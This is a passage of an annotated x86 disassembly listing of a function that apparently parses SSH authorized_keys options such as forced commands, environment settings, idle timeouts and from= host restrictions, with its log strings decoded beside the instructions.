0804ef3b  85 f6                   test   %esi,%esi
0804ef3d  75 c5                   jne    0804ef04 <Unknown0029+0x74>
0804ef3f  3c 20                   cmp    $0x20,%al
```

```
0804ef41   74 0b                          je      0804ef4e <Unknown0029+0xbe>
0804ef43   3c 09                          cmp     $0x9,%al
0804ef45   75 bd                          jne     0804ef04 <Unknown0029+0x74>
0804ef47   eb 05                          jmp     0804ef4e <Unknown0029+0xbe>
0804ef49   8d 76 00                       lea     0x0(%esi),%esi
0804ef4c   31 db                          xor     %ebx,%ebx
0804ef4e   8d bd c8 df ff ff              lea     0xffffdfc8(%ebp),%edi   ;-8248 'xc8 xdf xff xff' ""
0804ef54   57                             push    %edi
0804ef55   8d b5 d8 df ff ff              lea     0xffffdfd8(%ebp),%esi   ;-8232 'xd8 xdf xff xff' ""
0804ef5b   56                             push    %esi
0804ef5c   8d 85 64 df ff ff              lea     0xffffdf64(%ebp),%eax   ;-8348 'x64 xdf xff xff' "d"
0804ef62   50                             push    %eax
0804ef63   8d 85 60 df ff ff              lea     0xffffdf60(%ebp),%eax   ;-8352 'x60 xdf xff xff' "`"
0804ef69   50                             push    %eax
0804ef6a   e8 d9 14 00 00                 call    08050448 <Unknown0050>
0804ef6f   83 c4 10                       add     $0x10,%esp
0804ef72   85 c0                          test    %eax,%eax
0804ef74   75 2e                          jne     0804efa4 <Unknown0029+0x114>
0804ef76   50                             push    %eax
0804ef77   ff b5 54 df ff ff              pushl   0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804ef7d   68 30 de 06 08                 push    $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                               ".ssh/authorized_keys"
0804ef82   68 00 df 06 08                 push    $0x806df00   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s, line
                                                               %lu: bad key syntax"
0804ef87   e8 f4 0d 00 00                 call    0804fd80 <Unknown0039>
0804ef8c   83 c4 0c                       add     $0xc,%esp
0804ef8f   ff b5 54 df ff ff              pushl   0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804ef95   68 30 de 06 08                 push    $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                               ".ssh/authorized_keys"
0804ef9a   68 00 df 06 08                 push    $0x806df00   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s, line
                                                               %lu: bad key syntax"
0804ef9f   eb 45                          jmp     0804efe6 <Unknown0029+0x156>
0804efa1   8d 76 00                       lea     0x0(%esi),%esi
0804efa4   83 ec 08                       sub     $0x8,%esp
0804efa7   ff 75 0c                       pushl   0xc(%ebp)
0804efaa   57                             push    %edi
0804efab   e8 6c 18 01 00                 call    0806081c <Unknown0308>
0804efb0   83 c4 10                       add     $0x10,%esp
0804efb3   85 c0                          test    %eax,%eax
0804efb5   0f 85 a5 05 00 00              jne     0804f560 <Unknown0029+0x6d0>   ;1445 'xa5 x5 x0 x0' ""
0804efbb   57                             push    %edi
0804efbc   56                             push    %esi
0804efbd   ff b5 64 df ff ff              pushl   0xffffdf64(%ebp)   ;-8348 'x64 xdf xff xff' "d"
0804efc3   ff 75 10                       pushl   0x10(%ebp)
0804efc6   e8 f1 fa ff ff                 call    0804eabc <Unknown0026>
0804efcb   83 c4 10                       add     $0x10,%esp
0804efce   85 c0                          test    %eax,%eax
0804efd0   75 72                          jne     0804f044 <Unknown0029+0x1b4>
0804efd2   83 ec 0c                       sub     $0xc,%esp
0804efd5   68 40 df 06 08                 push    $0x806df40   ;[in .rodata] 1852797527 'x57 x72 x6f x6e' "Wrong
                                                               response to RSA authentication challenge."
0804efda   e8 3d 0c 00 00                 call    0804fc1c <Unknown0036>
0804efdf   c7 04 24 40 df 06 08           movl    $0x806df40,(%esp,1)   ;[in .rodata] 1852797527 'x57 x72 x6f x6e'
                                                               "Wrong response to RSA authentication
                                                               challenge."
0804efe6   e8 91 77 00 00                 call    0805677c <Unknown0156>
0804efeb   83 c4 10                       add     $0x10,%esp
0804efee   e9 6d 05 00 00                 jmp     0804f560 <Unknown0029+0x6d0>   ;1389 'x6d x5 x0 x0' "m"
0804eff3   90                             nop
0804eff4   e8 33 1d 00 00                 call    08050d2c <Unknown0056>
0804eff9   50                             push    %eax
0804effa   83 ec 0c                       sub     $0xc,%esp
0804effd   e8 2a 1c 00 00                 call    08050c2c <Unknown0055>
0804f002   83 c4 0c                       add     $0xc,%esp
0804f005   50                             push    %eax
0804f006   8b 45 08                       mov     0x8(%ebp),%eax
0804f009   ff 30                          pushl   (%eax)
0804f00b   68 00 e1 06 08                 push    $0x806e100   ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                               authentication tried for %.100s with correct key but
                                                               not from a permitted host (host=%.200s, ip="
0804f010   e8 07 0c 00 00                 call    0804fc1c <Unknown0036>
0804f015   e8 12 1c 00 00                 call    08050c2c <Unknown0055>
0804f01a   5b                             pop     %ebx
0804f01b   5f                             pop     %edi
0804f01c   50                             push    %eax
0804f01d   68 80 e1 06 08                 push    $0x806e180   ;[in .rodata] 1920298841 'x59 x6f x75 x72' "Your host
                                                               '%.200s' is not permitted to use this key for login."
0804f022   e8 55 77 00 00                 call    0805677c <Unknown0156>
0804f027   89 34 24                       mov     %esi,(%esp,1)
0804f02a   e8 e1 7e 00 00                 call    08056f10 <Unknown0172>
0804f02f   83 c4 10                       add     $0x10,%esp
0804f032   c7 85 5c df ff ff 00 00 00 00  movl    $0x0,0xffffdf5c(%ebp)   ;0 'x0 x0 x0 x0' ""
0804f03c   e9 15 05 00 00                 jmp     0804f556 <Unknown0029+0x6c6>   ;1301 'x15 x5 x0 x0' ""
```

```
0804f041  8d 76 00              lea     0x0(%esi),%esi
0804f044  85 db                 test    %ebx,%ebx
0804f046  c7 85 5c df ff ff 01 00 00 00  movl    $0x1,0xffffdf5c(%ebp)  ;1 'x1 x0 x0 x0' ""
0804f050  0f 84 00 05 00 00     je      0804f556 <Unknown0029+0x6c6>  ;1280 'x0 x5 x0 x0' ""
0804f056  e9 e9 04 00 00        jmp     0804f544 <Unknown0029+0x6b4>  ;1257 'xe9 x4 x0 x0' ""
0804f05b  90                    nop
0804f05c  83 ec 08              sub     $0x8,%esp
0804f05f  68 70 df 06 08        push    $0x806df70  ;[in .rodata] 1882025838 'x6e x6f x2d x70'
                                                    "no-port-forwarding"
0804f064  53                    push    %ebx
0804f065  c7 85 60 df ff ff 70 df 06 08  movl    $0x806df70,0xffffdf60(%ebp)  ;[in .rodata] 1882025838 'x6e
                                                                               x6f x2d x70'
                                                                               "no-port-forwarding"
0804f06f  e8 b8 fb ff ff        call    0804ec2c <Unknown0027>
0804f074  83 c4 10              add     $0x10,%esp
0804f077  85 c0                 test    %eax,%eax
0804f079  74 1d                 je      0804f098 <Unknown0029+0x208>
0804f07b  83 ec 0c              sub     $0xc,%esp
0804f07e  68 83 df 06 08        push    $0x806df83  ;[in .rodata] 1953656656 'x50 x6f x72 x74' "Port
                                                    forwarding disabled."
0804f083  e8 f4 76 00 00        call    0805677c <Unknown0156>
0804f088  c7 05 a0 7b 07 08 01 00 00 00  movl    $0x1,0x8077ba0  ;1 'x1 x0 x0 x0' ""
0804f092  e9 a7 00 00 00        jmp     0804f13e <Unknown0029+0x2ae>  ;167 'xa7 x0 x0 x0' ""
0804f097  90                    nop
0804f098  83 ec 08              sub     $0x8,%esp
0804f09b  68 9d df 06 08        push    $0x806df9d  ;[in .rodata] 1630367598 'x6e x6f x2d x61'
                                                    "no-agent-forwarding"
0804f0a0  53                    push    %ebx
0804f0a1  c7 85 60 df ff ff 9d df 06 08  movl    $0x806df9d,0xffffdf60(%ebp)  ;[in .rodata] 1630367598 'x6e
                                                                               x6f x2d x61'
                                                                               "no-agent-forwarding"
0804f0ab  e8 7c fb ff ff        call    0804ec2c <Unknown0027>
0804f0b0  83 c4 10              add     $0x10,%esp
0804f0b3  85 c0                 test    %eax,%eax
0804f0b5  74 19                 je      0804f0d0 <Unknown0029+0x240>
0804f0b7  83 ec 0c              sub     $0xc,%esp
0804f0ba  68 b1 df 06 08        push    $0x806dfb1  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                    forwarding disabled."
0804f0bf  e8 b8 76 00 00        call    0805677c <Unknown0156>
0804f0c4  c7 05 a4 7b 07 08 01 00 00 00  movl    $0x1,0x8077ba4  ;1 'x1 x0 x0 x0' ""
0804f0ce  eb 6e                 jmp     0804f13e <Unknown0029+0x2ae>
0804f0d0  83 ec 08              sub     $0x8,%esp
0804f0d3  68 cc df 06 08        push    $0x806dfcc  ;[in .rodata] 2016243566 'x6e x6f x2d x78'
                                                    "no-x11-forwarding"
0804f0d8  53                    push    %ebx
0804f0d9  c7 85 60 df ff ff cc df 06 08  movl    $0x806dfcc,0xffffdf60(%ebp)  ;[in .rodata] 2016243566 'x6e
                                                                               x6f x2d x78'
                                                                               "no-x11-forwarding"
0804f0e3  e8 44 fb ff ff        call    0804ec2c <Unknown0027>
0804f0e8  83 c4 10              add     $0x10,%esp
0804f0eb  85 c0                 test    %eax,%eax
0804f0ed  74 19                 je      0804f108 <Unknown0029+0x278>
0804f0ef  83 ec 0c              sub     $0xc,%esp
0804f0f2  68 de df 06 08        push    $0x806dfde  ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                    forwarding disabled."
0804f0f7  e8 80 76 00 00        call    0805677c <Unknown0156>
0804f0fc  c7 05 a8 7b 07 08 01 00 00 00  movl    $0x1,0x8077ba8  ;1 'x1 x0 x0 x0' ""
0804f106  eb 36                 jmp     0804f13e <Unknown0029+0x2ae>
0804f108  83 ec 08              sub     $0x8,%esp
0804f10b  68 f7 df 06 08        push    $0x806dff7  ;[in .rodata] 1882025838 'x6e x6f x2d x70' "no-pty"
0804f110  53                    push    %ebx
0804f111  c7 85 60 df ff ff f7 df 06 08  movl    $0x806dff7,0xffffdf60(%ebp)  ;[in .rodata] 1882025838 'x6e
                                                                               x6f x2d x70' "no-pty"
0804f11b  e8 0c fb ff ff        call    0804ec2c <Unknown0027>
0804f120  83 c4 10              add     $0x10,%esp
0804f123  85 c0                 test    %eax,%eax
0804f125  74 35                 je      0804f15c <Unknown0029+0x2cc>
0804f127  83 ec 0c              sub     $0xc,%esp
0804f12a  68 fe df 06 08        push    $0x806dffe  ;[in .rodata] 544830544 'x50 x74 x79 x20' "Pty
                                                    allocation disabled."
0804f12f  e8 48 76 00 00        call    0805677c <Unknown0156>
0804f134  c7 05 ac 7b 07 08 01 00 00 00  movl    $0x1,0x8077bac  ;1 'x1 x0 x0 x0' ""
0804f13e  8b bd 60 df ff ff     mov     0xffffdf60(%ebp),%edi  ;-8352 'x60 xdf xff xff' "`"
0804f144  fc                    cld
0804f145  b9 ff ff ff ff        mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804f14a  31 c0                 xor     %eax,%eax
0804f14c  f2 ae                 repnz scas %es:(%edi),%al
0804f14e  f7 d1                 not     %ecx
0804f150  8d 5c 0b ff           lea     0xffffffff(%ebx,%ecx,1),%ebx
0804f154  83 c4 10              add     $0x10,%esp
0804f157  e9 c0 03 00 00        jmp     0804f51c <Unknown0029+0x68c>  ;960 'xc0 x3 x0 x0' ""
0804f15c  83 ec 08              sub     $0x8,%esp
0804f15f  68 17 e0 06 08        push    $0x806e017  ;[in .rodata] 1701602409 'x69 x64 x6c x65'
```

<div align="center">"idle-timeout="</div>

```
0804f164   53                                push    %ebx
0804f165   c7 85 60 df ff ff 17 e0 06 08     movl    $0x806e017,0xffffdf60(%ebp)  ;[in .rodata] 1701602409 'x69
                                                                                      x64 x6c x65' "idle-timeout="
0804f16f   e8 b8 fa ff ff                    call    0804ec2c <Unknown0027>
0804f174   83 c4 10                          add     $0x10,%esp
0804f177   85 c0                             test    %eax,%eax
0804f179   0f 84 d1 00 00 00                 je      0804f250 <Unknown0029+0x3c0>  ;209 'xd1 x0 x0 x0' ""
0804f17f   8b bd 60 df ff ff                 mov     0xffffdf60(%ebp),%edi  ;-8352 'x60 xdf xff xff' "`"
0804f185   31 c0                             xor     %eax,%eax
0804f187   fc                                cld
0804f188   b9 ff ff ff ff                    mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f18d   f2 ae                             repnz scas %es:(%edi),%al
0804f18f   f7 d1                             not     %ecx
0804f191   8d 5c 0b ff                       lea     0xffffffff(%ebx,%ecx,1),%ebx
0804f195   0f be 13                          movsbl  (%ebx),%edx
0804f198   8b 35 10 9c 07 08                 mov     0x8079c10,%esi  ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                                                      (Red Hat Linux 7.1 2.96-79)"
0804f19e   31 ff                             xor     %edi,%edi
0804f1a0   f6 44 56 01 08                    testb   $0x8,0x1(%esi,%edx,2)
0804f1a5   89 d1                             mov     %edx,%ecx
0804f1a7   74 17                             je      0804f1c0 <Unknown0029+0x330>
0804f1a9   8d 76 00                          lea     0x0(%esi),%esi
0804f1ac   43                                inc     %ebx
0804f1ad   0f be 13                          movsbl  (%ebx),%edx
0804f1b0   8d 04 bf                          lea     (%edi,%edi,4),%eax
0804f1b3   f6 44 56 01 08                    testb   $0x8,0x1(%esi,%edx,2)
0804f1b8   8d 7c 41 d0                       lea     0xffffffd0(%ecx,%eax,2),%edi
0804f1bc   89 d1                             mov     %edx,%ecx
0804f1be   75 ec                             jne     0804f1ac <Unknown0029+0x31c>
0804f1c0   a1 00 9c 07 08                    mov     0x8079c00,%eax   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
0804f1c5   8b 04 90                          mov     (%eax,%edx,4),%eax
0804f1c8   3c 77                             cmp     $0x77,%al
0804f1ca   88 03                             mov     %al,(%ebx)
0804f1cc   75 16                             jne     0804f1e4 <Unknown0029+0x354>
0804f1ce   8d 04 ff                          lea     (%edi,%edi,8),%eax
0804f1d1   8d 04 87                          lea     (%edi,%eax,4),%eax
0804f1d4   8d 04 47                          lea     (%edi,%eax,2),%eax
0804f1d7   89 c7                             mov     %eax,%edi
0804f1d9   c1 e7 06                          shl     $0x6,%edi
0804f1dc   29 c7                             sub     %eax,%edi
0804f1de   c1 e7 07                          shl     $0x7,%edi
0804f1e1   eb 4d                             jmp     0804f230 <Unknown0029+0x3a0>
0804f1e3   90                                nop
0804f1e4   3c 64                             cmp     $0x64,%al
0804f1e6   75 18                             jne     0804f200 <Unknown0029+0x370>
0804f1e8   8d 04 bf                          lea     (%edi,%edi,4),%eax
0804f1eb   8d 04 87                          lea     (%edi,%eax,4),%eax
0804f1ee   8d 04 c7                          lea     (%edi,%eax,8),%eax
0804f1f1   c1 e0 02                          shl     $0x2,%eax
0804f1f4   29 f8                             sub     %edi,%eax
0804f1f6   89 c7                             mov     %eax,%edi
0804f1f8   c1 e7 07                          shl     $0x7,%edi
0804f1fb   eb 33                             jmp     0804f230 <Unknown0029+0x3a0>
0804f1fd   8d 76 00                          lea     0x0(%esi),%esi
0804f200   3c 68                             cmp     $0x68,%al
0804f202   75 14                             jne     0804f218 <Unknown0029+0x388>
0804f204   8d 04 fd 00 00 00 00              lea     0x0(,%edi,8),%eax  ;0 'x0 x0 x0 x0' ""
0804f20b   29 f8                             sub     %edi,%eax
0804f20d   c1 e0 05                          shl     $0x5,%eax
0804f210   8d 3c 07                          lea     (%edi,%eax,1),%edi
0804f213   c1 e7 04                          shl     $0x4,%edi
0804f216   eb 18                             jmp     0804f230 <Unknown0029+0x3a0>
0804f218   3c 6d                             cmp     $0x6d,%al
0804f21a   75 10                             jne     0804f22c <Unknown0029+0x39c>
0804f21c   8d 04 7f                          lea     (%edi,%edi,2),%eax
0804f21f   8d 04 80                          lea     (%eax,%eax,4),%eax
0804f222   8d 3c 85 00 00 00 00              lea     0x0(,%eax,4),%edi  ;0 'x0 x0 x0 x0' ""
0804f229   eb 05                             jmp     0804f230 <Unknown0029+0x3a0>
0804f22b   90                                nop
0804f22c   3c 73                             cmp     $0x73,%al
0804f22e   75 01                             jne     0804f231 <Unknown0029+0x3a1>
0804f230   43                                inc     %ebx
0804f231   83 ec 08                          sub     $0x8,%esp
0804f234   57                                push    %edi
0804f235   68 40 e0 06 08                    push    $0x806e040  ;[in .rodata] 1701602377 'x49 x64 x6c x65' "Idle
                                                                                      timeout set to %d seconds."
0804f23a   e8 3d 75 00 00                    call    0805677c <Unknown0156>
0804f23f   83 c4 10                          add     $0x10,%esp
0804f242   89 3d b0 7b 07 08                 mov     %edi,0x8077bb0  ;[in .data] 0 'x0 x0 x0 x0' ""
0804f248   e9 cf 02 00 00                    jmp     0804f51c <Unknown0029+0x68c>  ;719 'xcf x2 x0 x0' ""
0804f24d   8d 76 00                          lea     0x0(%esi),%esi
0804f250   83 ec 08                          sub     $0x8,%esp
```

```
0804f253  68 60 e0 06 08             push   $0x806e060   ;[in .rodata] 1835888483 'x63 x6f x6d x6d' "command="""
0804f258  53                         push   %ebx
0804f259  c7 85 60 df ff ff 60 e0 06 08  movl  $0x806e060,0xffffdf60(%ebp)   ;[in .rodata] 1835888483 'x63
                                                                                      x6f x6d x6d' "command="""
0804f263  e8 c4 f9 ff ff             call   0804ec2c <Unknown0027>
0804f268  83 c4 10                   add    $0x10,%esp
0804f26b  85 c0                      test   %eax,%eax
0804f26d  0f 84 9d 00 00 00          je     0804f310 <Unknown0029+0x480>   ;157 'x9d x0 x0 x0' ""
0804f273  31 c0                      xor    %eax,%eax
0804f275  8b bd 60 df ff ff          mov    0xffffdf60(%ebp),%edi   ;-8352 'x60 xdf xff xff' "`"
0804f27b  fc                         cld
0804f27c  b9 ff ff ff ff             mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f281  f2 ae                      repnz  scas %es:(%edi),%al
0804f283  f7 d1                      not    %ecx
0804f285  8d 5c 0b ff                lea    0xffffffff(%ebx,%ecx,1),%ebx
0804f289  89 df                      mov    %ebx,%edi
0804f28b  b9 ff ff ff ff             mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f290  f2 ae                      repnz  scas %es:(%edi),%al
0804f292  83 ec 0c                   sub    $0xc,%esp
0804f295  f7 d1                      not    %ecx
0804f297  51                         push   %ecx
0804f298  e8 f3 7b 00 00             call   08056e90 <Unknown0170>
0804f29d  a3 b4 7b 07 08             mov    %eax,0x8077bb4   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f2a2  8a 13                      mov    (%ebx),%dl
0804f2a4  31 c9                      xor    %ecx,%ecx
0804f2a6  83 c4 10                   add    $0x10,%esp
0804f2a9  eb 29                      jmp    0804f2d4 <Unknown0029+0x444>
0804f2ab  90                         nop
0804f2ac  80 fa 5c                   cmp    $0x5c,%dl
0804f2af  75 17                      jne    0804f2c8 <Unknown0029+0x438>
0804f2b1  80 7b 01 22                cmpb   $0x22,0x1(%ebx)
0804f2b5  75 11                      jne    0804f2c8 <Unknown0029+0x438>
0804f2b7  a1 b4 7b 07 08             mov    0x8077bb4,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f2bc  c6 04 01 22                movb   $0x22,(%ecx,%eax,1)
0804f2c0  83 c3 02                   add    $0x2,%ebx
0804f2c3  eb 0c                      jmp    0804f2d1 <Unknown0029+0x441>
0804f2c5  8d 76 00                   lea    0x0(%esi),%esi
0804f2c8  a1 b4 7b 07 08             mov    0x8077bb4,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f2cd  88 14 01                   mov    %dl,(%ecx,%eax,1)
0804f2d0  43                         inc    %ebx
0804f2d1  41                         inc    %ecx
0804f2d2  8a 13                      mov    (%ebx),%dl
0804f2d4  84 d2                      test   %dl,%dl
0804f2d6  74 05                      je     0804f2dd <Unknown0029+0x44d>
0804f2d8  80 fa 22                   cmp    $0x22,%dl
0804f2db  75 cf                      jne    0804f2ac <Unknown0029+0x41c>
0804f2dd  84 d2                      test   %dl,%dl
0804f2df  75 07                      jne    0804f2e8 <Unknown0029+0x458>
0804f2e1  51                         push   %ecx
0804f2e2  e9 7a 01 00 00             jmp    0804f461 <Unknown0029+0x5d1>   ;378 'x7a x1 x0 x0' "z"
0804f2e7  90                         nop
0804f2e8  a1 b4 7b 07 08             mov    0x8077bb4,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f2ed  83 ec 08                   sub    $0x8,%esp
0804f2f0  c6 04 01 00                movb   $0x0,(%ecx,%eax,1)
0804f2f4  ff 35 b4 7b 07 08          pushl  0x8077bb4   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f2fa  68 a4 e0 06 08             push   $0x806e0a4   ;[in .rodata] 1668443974 'x46 x6f x72 x63' "Forced
                                                                                      command: %.900s"
0804f2ff  e8 78 74 00 00             call   0805677c <Unknown0156>
0804f304  43                         inc    %ebx
0804f305  83 c4 10                   add    $0x10,%esp
0804f308  e9 0f 02 00 00             jmp    0804f51c <Unknown0029+0x68c>   ;527 'xf x2 x0 x0' ""
0804f30d  8d 76 00                   lea    0x0(%esi),%esi
0804f310  83 ec 08                   sub    $0x8,%esp
0804f313  68 bb e0 06 08             push   $0x806e0bb   ;[in .rodata] 1769369189 'x65 x6e x76 x69'
                                                                                      "environment="""
0804f318  53                         push   %ebx
0804f319  c7 85 60 df ff ff bb e0 06 08  movl  $0x806e0bb,0xffffdf60(%ebp)   ;[in .rodata] 1769369189 'x65
                                                                                      x6e x76 x69' "environment="""
0804f323  e8 04 f9 ff ff             call   0804ec2c <Unknown0027>
0804f328  83 c4 10                   add    $0x10,%esp
0804f32b  85 c0                      test   %eax,%eax
0804f32d  0f 84 a9 00 00 00          je     0804f3dc <Unknown0029+0x54c>   ;169 'xa9 x0 x0 x0' ""
0804f333  31 c0                      xor    %eax,%eax
0804f335  8b bd 60 df ff ff          mov    0xffffdf60(%ebp),%edi   ;-8352 'x60 xdf xff xff' "`"
0804f33b  fc                         cld
0804f33c  b9 ff ff ff ff             mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f341  f2 ae                      repnz  scas %es:(%edi),%al
0804f343  f7 d1                      not    %ecx
0804f345  8d 5c 0b ff                lea    0xffffffff(%ebx,%ecx,1),%ebx
0804f349  89 df                      mov    %ebx,%edi
0804f34b  b9 ff ff ff ff             mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f350  f2 ae                      repnz  scas %es:(%edi),%al
0804f352  83 ec 0c                   sub    $0xc,%esp
0804f355  f7 d1                      not    %ecx
```

```
0804f357   51                          push    %ecx
0804f358   e8 33 7b 00 00              call    08056e90 <Unknown0170>
0804f35d   8a 13                       mov     (%ebx),%dl
0804f35f   89 c6                       mov     %eax,%esi
0804f361   83 c4 10                    add     $0x10,%esp
0804f364   31 c0                       xor     %eax,%eax
0804f366   eb 1b                       jmp     0804f383 <Unknown0029+0x4f3>
0804f368   80 fa 5c                    cmp     $0x5c,%dl
0804f36b   75 0f                       jne     0804f37c <Unknown0029+0x4ec>
0804f36d   80 7b 01 22                 cmpb    $0x22,0x1(%ebx)
0804f371   75 09                       jne     0804f37c <Unknown0029+0x4ec>
0804f373   c6 04 30 22                 movb    $0x22,(%eax,%esi,1)
0804f377   83 c3 02                    add     $0x2,%ebx
0804f37a   eb 04                       jmp     0804f380 <Unknown0029+0x4f0>
0804f37c   88 14 30                    mov     %dl,(%eax,%esi,1)
0804f37f   43                          inc     %ebx
0804f380   40                          inc     %eax
0804f381   8a 13                       mov     (%ebx),%dl
0804f383   84 d2                       test    %dl,%dl
0804f385   74 05                       je      0804f38c <Unknown0029+0x4fc>
0804f387   80 fa 22                    cmp     $0x22,%dl
0804f38a   75 dc                       jne     0804f368 <Unknown0029+0x4d8>
0804f38c   84 d2                       test    %dl,%dl
0804f38e   75 08                       jne     0804f398 <Unknown0029+0x508>
0804f390   52                          push    %edx
0804f391   e9 cb 00 00 00              jmp     0804f461 <Unknown0029+0x5d1>   ;203 'xcb x0 x0 x0' ""
0804f396   89 f6                       mov     %esi,%esi
0804f398   83 ec 08                    sub     $0x8,%esp
0804f39b   c6 04 30 00                 movb    $0x0,(%eax,%esi,1)
0804f39f   56                          push    %esi
0804f3a0   68 c9 e0 06 08              push    $0x806e0c9   ;[in .rodata] 1768186945 'x41 x64 x64 x69' "Adding to
                                                             environment: %.900s"
0804f3a5   e8 d2 73 00 00              call    0805677c <Unknown0156>
0804f3aa   5f                          pop     %edi
0804f3ab   58                          pop     %eax
0804f3ac   56                          push    %esi
0804f3ad   68 c9 e0 06 08              push    $0x806e0c9   ;[in .rodata] 1768186945 'x41 x64 x64 x69' "Adding to
                                                             environment: %.900s"
0804f3b2   e8 c9 09 00 00              call    0804fd80 <Unknown0039>
0804f3b7   c7 04 24 08 00 00 00        movl    $0x8,(%esp,1)   ;8 'x8 x0 x0 x0' ""
0804f3be   e8 cd 7a 00 00              call    08056e90 <Unknown0170>
0804f3c3   8b 15 bc 7b 07 08           mov     0x8077bbc,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f3c9   89 10                       mov     %edx,(%eax)
0804f3cb   43                          inc     %ebx
0804f3cc   89 70 04                    mov     %esi,0x4(%eax)
0804f3cf   a3 bc 7b 07 08              mov     %eax,0x8077bbc   ;[in .data] 0 'x0 x0 x0 x0' ""
0804f3d4   83 c4 10                    add     $0x10,%esp
0804f3d7   e9 40 01 00 00              jmp     0804f51c <Unknown0029+0x68c>   ;320 'x40 x1 x0 x0' "@"
0804f3dc   83 ec 08                    sub     $0x8,%esp
0804f3df   68 e7 e0 06 08              push    $0x806e0e7   ;[in .rodata] 1836020326 'x66 x72 x6f x6d' "from=""
0804f3e4   53                          push    %ebx
0804f3e5   c7 85 60 df ff ff e7 e0 06 08  movl  $0x806e0e7,0xffffdf60(%ebp)   ;[in .rodata] 1836020326 'x66
                                                                               x72 x6f x6d' "from=""
0804f3ef   e8 38 f8 ff ff              call    0804ec2c <Unknown0027>
0804f3f4   83 c4 10                    add     $0x10,%esp
0804f3f7   85 c0                       test    %eax,%eax
0804f3f9   0f 84 e1 00 00 00           je      0804f4e0 <Unknown0029+0x650>   ;225 'xe1 x0 x0 x0' ""
0804f3ff   89 df                       mov     %ebx,%edi
0804f401   fc                          cld
0804f402   31 c0                       xor     %eax,%eax
0804f404   b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f409   f2 ae                       repnz scas %es:(%edi),%al
0804f40b   83 ec 0c                    sub     $0xc,%esp
0804f40e   f7 d1                       not     %ecx
0804f410   51                          push    %ecx
0804f411   e8 7a 7a 00 00              call    08056e90 <Unknown0170>
0804f416   89 c6                       mov     %eax,%esi
0804f418   8b bd 60 df ff ff           mov     0xffffdf60(%ebp),%edi   ;-8352 'x60 xdf xff xff' "`"
0804f41e   31 c0                       xor     %eax,%eax
0804f420   fc                          cld
0804f421   b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804f426   f2 ae                       repnz scas %es:(%edi),%al
0804f428   f7 d1                       not     %ecx
0804f42a   8d 5c 0b ff                 lea     0xffffffff(%ebx,%ecx,1),%ebx
0804f42e   8a 13                       mov     (%ebx),%dl
0804f430   31 c0                       xor     %eax,%eax
0804f432   83 c4 10                    add     $0x10,%esp
0804f435   eb 1c                       jmp     0804f453 <Unknown0029+0x5c3>
0804f437   90                          nop
0804f438   80 fa 5c                    cmp     $0x5c,%dl
0804f43b   75 0f                       jne     0804f44c <Unknown0029+0x5bc>
0804f43d   80 7b 01 22                 cmpb    $0x22,0x1(%ebx)
0804f441   75 09                       jne     0804f44c <Unknown0029+0x5bc>
0804f443   c6 04 30 22                 movb    $0x22,(%eax,%esi,1)
```

```
0804f447   83 c3 02                        add      $0x2,%ebx
0804f44a   eb 04                           jmp      0804f450 <Unknown0029+0x5c0>
0804f44c   88 14 30                        mov      %dl,(%eax,%esi,1)
0804f44f   43                              inc      %ebx
0804f450   40                              inc      %eax
0804f451   8a 13                           mov      (%ebx),%dl
0804f453   84 d2                           test     %dl,%dl
0804f455   74 05                           je       0804f45c <Unknown0029+0x5cc>
0804f457   80 fa 22                        cmp      $0x22,%dl
0804f45a   75 dc                           jne      0804f438 <Unknown0029+0x5a8>
0804f45c   84 d2                           test     %dl,%dl
0804f45e   75 38                           jne      0804f498 <Unknown0029+0x608>
0804f460   56                              push     %esi
0804f461   ff b5 54 df ff ff               pushl    0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804f467   68 30 de 06 08                  push     $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                                 ".ssh/authorized_keys"
0804f46c   68 80 e0 06 08                  push     $0x806e080   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s, line
                                                                 %lu: missing end quote"
0804f471   e8 0a 09 00 00                  call     0804fd80 <Unknown0039>
0804f476   83 c4 0c                        add      $0xc,%esp
0804f479   ff b5 54 df ff ff               pushl    0xffffdf54(%ebp)   ;-8364 'x54 xdf xff xff' "T"
0804f47f   68 30 de 06 08                  push     $0x806de30   ;[in .rodata] 1752396590 'x2e x73 x73 x68'
                                                                 ".ssh/authorized_keys"
0804f484   68 80 e0 06 08                  push     $0x806e080   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s, line
                                                                 %lu: missing end quote"
0804f489   e8 ee 72 00 00                  call     0805677c <Unknown0156>
0804f48e   83 c4 10                        add      $0x10,%esp
0804f491   e9 ae 00 00 00                  jmp      0804f544 <Unknown0029+0x6b4>   ;174 'xae x0 x0 x0' ""
0804f496   89 f6                           mov      %esi,%esi
0804f498   c6 04 30 00                     movb     $0x0,(%eax,%esi,1)
0804f49c   fc                              cld
0804f49d   89 f7                           mov      %esi,%edi
0804f49f   31 c0                           xor      %eax,%eax
0804f4a1   b9 ff ff ff ff                  mov      $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
